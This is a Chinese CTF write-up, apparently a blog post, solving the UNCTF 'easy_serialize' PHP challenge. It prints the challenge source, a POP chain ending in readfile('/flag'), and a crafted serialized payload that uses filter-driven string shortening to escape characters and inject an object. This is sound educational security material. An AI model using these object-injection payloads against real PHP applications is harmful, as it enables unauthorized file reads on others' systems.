unctf easy_serialize反序列化字符逃逸

ctf题目平台:UNCTF - HACKING 4 FUN。web题难度适中

easy_serialize

题目源码:

 <?php
include "function.php";
$action = @$_POST['action'];
$name = $_POST['name'];
$pass = $_POST['pass'];
$email = $_POST['email'];
​
function filter($file){
    $filter_arr = array('flag','php','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$file);
}
​
$a= $_GET['a'];
$b = $_GET['b'];
​
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
​
​
switch($action){
    case 1:
        highlight_file('function.php');
        break;
    default:
        highlight_file('index.php');
}
​
if(md5($a) == md5($b) && $a !=$b){
    unserialize(filter($s));
}  

当post接收到的action参数为1时读function.php。md5弱比较就不说了。 function.php源码:

 <?php
class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
    {
        $this->safe = "/etc/passwd";
        $this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');           
    }
    public function __toString()
    {
        $this->class->getShell();
        return '';
    }
    public function getShell(){
        readfile($this->safe);
    }
}
​
class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
    {
        $this->pass  = $pass;
        $this->name = $name;
        $this->email = $email;
    }
    public function getShell(){
        echo 'flag{this_is_fake}';
    }
    public function __destruct()
    {
        echo $this->name . 'Welcome to UNCTF 2021!';
    }
}

利用入口在me7eorite类的getshell方法下的readfile。 进入readfile的过程为:unserialize $s->UNCTF析构函数把name当字符串,name为me7eorite对象时调用tostring->str指向me7eorite对象就能调用到子对象的getshell->读文件

所以pop链应为:

 <?php
class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
    {
        $this->safe = "/flag";
        $this->class='1'; //随便写一个,后面要重新赋值
    }
    public function __toString()
    {
        $this->class->getShell();
        return '';
    }
    public function getShell(){
        readfile($this->safe);
    }
}
​
class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
    {
        $this->pass  = $pass;
        $this->name = $name;
        $this->email = $email;
    }
​
    public function __destruct()
    {
        echo $this->name . 'Welcome to UNCTF 2021!';
    }
}
$me7 = new me7eorite();
$me7->class = new me7eorite();
$unctf = new UNCTF('1','2',$me7);
echo serialize($unctf);
?>

可问题是该怎么传值,如果在name直接传入输出结果,其他两个随意,比如pass='1'&email='2',传入参数后需要是如下格式。 O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}

如果直接传入后半截s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}} 序列化后的结果为: O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:130:"s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}";}s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}。当闭合最开始的花括号时序列化完毕,也就是有效部分只有: O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:130:"s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}会发现和有效部分一模一样,唯一不同的是中间多出来了s:130:"s:4:"name";

反序列化字符逃逸(字符串变短)

字符逃逸详解:https://blog.csdn.net/qq_45521281/article/details/107135706 在有filter过滤的情况下,由于是先过滤再反序列化,字符会被过滤,但是字符的个数是不会变得。 比如email成员为字符串aa,aa被过滤的情况下email序列化就是:s:5:"email";s:2:"aa";->s:5:"email";s:2:""; 即第二个双引号和分号会被当成email的内容而导致错误。每过滤一个aa,就会多出两个可控制字符

所以在这道题, 过滤flag可以空出四个字符,过滤php空出三个字符。

请添加图片描述不好描述,就写了一下,如上,多出来19个字符";s:4:"name":s:130:,但是这样构造email不能闭合,所以传进去的name最前面还要加个分号;用于闭合email。name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}},19个字符需要逃逸,flagflagflagflagphp正好19个。

unserialize需要注意的是因为filter要过滤flag,所以在反序列化后双写。注意是反序列化后,因为序列化的过程是先过滤,所以string的个数是过滤后的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值